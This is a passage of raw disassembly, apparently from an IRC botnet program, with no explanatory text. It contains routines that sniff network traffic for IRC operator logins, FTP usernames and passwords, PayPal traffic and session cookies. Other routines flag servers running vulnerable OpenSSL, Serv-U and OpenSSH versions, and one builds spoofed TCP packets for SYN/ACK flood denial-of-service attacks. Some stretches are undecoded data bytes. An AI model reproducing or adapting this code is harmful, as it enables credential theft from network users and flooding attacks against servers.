		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 2FE80000h, 900227D2h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27804FCh
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27802A0h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27802A0h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022CC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2CC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
